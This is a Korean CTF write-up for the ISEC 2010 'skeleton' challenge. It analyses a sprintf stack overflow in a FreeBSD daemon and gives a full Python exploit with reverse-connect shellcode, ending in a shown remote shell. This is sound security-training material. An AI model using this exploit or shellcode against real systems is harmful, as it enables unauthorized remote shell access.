CTF

ISEC 2010 본선 CTF - skeleton

pwn3r_45 2011. 10. 13. 17:21
Category : Pwnables

NULL

Summary : simple remote buffer overflow

Binary Info.

[pwn3r@localhost skeleton]$ file skeletond
skeletond: ELF 32-bit LSB executable, Intel 80386, version 1 (FreeBSD), dynamically linked (uses shared libs), for FreeBSD 8.1, not stripped

Connect to server

[pwn3r@localhost skeleton]$ nc 192.168.123.129 8888
Memo: pwn3r
OK!,pwn3r                                                                                       (


stripped 되지않은 FreeBSD 8.1의 바이너리이다. 서버에 접속해보면 , 서버에서 Memo라는 문자열을 전송해준후 , 데이터의 수신을 기다린다. 그리고 데이터를 전송받으면 "OK!," 뒤에 문자열을 붙여서 다시 전송해준다.

client가 접속하면 실행되는 client 함수를 살펴본다. Hex-Ray를 이용하면 편리하게 분석할 수 있다.

signed int __cdecl client(int client_fd)
{
  size_t len1; //
eax@1
  size_t len2; // eax@5
  signed int res; // [sp+14h] [bp-C14h]@2
  char large_buf; // [sp+24h] [bp-C04h]@3
  char small_buf; // [sp+824h] [bp-404h]@1
  int sock_result; // [sp+C24h] [bp-4h]@1

  memcpy(&small_buf, "Memo: ", 7u);
  len1 = strlen(&small_buf);
  sock_result = send(client_fd, &small_buf, len1, 0);
  if ( sock_result == -1 )
  {
    res = -1;
  }
  else
  {
    sock_result = recv(client_fd, &large_buf, 0x800u, 0);
    if ( sock_result == -1 )
    {
      res = -1;
    }
    else
    {
      sprintf(&small_buf, "OK!,%s\r\n", &large_buf); // Vuln !!
      len2 = strlen(&small_buf);
      sock_result = send(client_fd, &small_buf, len2, 0);
      if ( sock_result == -1 )
        res = -1;
      else
        res = 0;
    }
  }
  return res;
}


"Memo"라는 문자열을 전송해주고 최대 0x800byte만큼의 데이터를 받는데 , 이 데이터를 0x404byte의 변수에 sprintf함수를 수행하기때문에 overflow취약점이 발생한다.

상당히 큰 size의 데이터를 전송받는데다가 서버바이너리의 역할도 단순하기때문에 , 단순히 많은 nop와 리버스커넥션 쉘코드를 넣어주고 리턴어드레스를 쉘코드의 주소로 바꿔주도록 한다.


exploit.py

#!/usr/bin/python

from socket import *
import struct

HOST = "192.168.123.129"
PORT = 8888
SHELLCODE = \
"\x68\xc0\xa8\x7b\x83\x68\xff\x02\x11\x5c\x89\xe7\x31\xc0" + \
"\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80\x57\x50\x50" + \
"\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff\x4f\xe8" + \
"\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" + \
"\x50\x54\x53\x50\xb0\x3b\xcd\x80"

for ret in range(0xbfbfffff , 0xbfbf0000 , -300):
 ret = struct.pack("<L" , ret)
 payload = ""
 payload += "\x90"*600
 payload += SHELLCODE
 payload += "\x90"*(1028-len(payload))
 payload += ret
 s = socket(AF_INET , SOCK_STREAM)
 s.connect((HOST , PORT))
 s.recv(1024)
 s.send(payload)
 s.recv(1024)
 s.close()


[pwn3r@localhost skeleton]$ ./exploit.py & nc -lv 4444
[1] 8937
Connection from 192.168.123.129 port 4444 [tcp/krb524] accepted
id
uid=1007(skeleton) gid=1007(skeleton) groups=1007(skeleton)
ls -l
total 24
-r--------  1 skeleton  skeleton    33 Sep 12 11:48 key
-rwxr-xr-x  1 skeleton  skeleton  9900 Sep 12 09:34 skeletond


Pwned :)

p.s. ISEC2010때 본선가셨던분께 얻은 문제바이너리를 풀어본것입니다 (제가 가서풀었던거 쓴게아닙니다 :)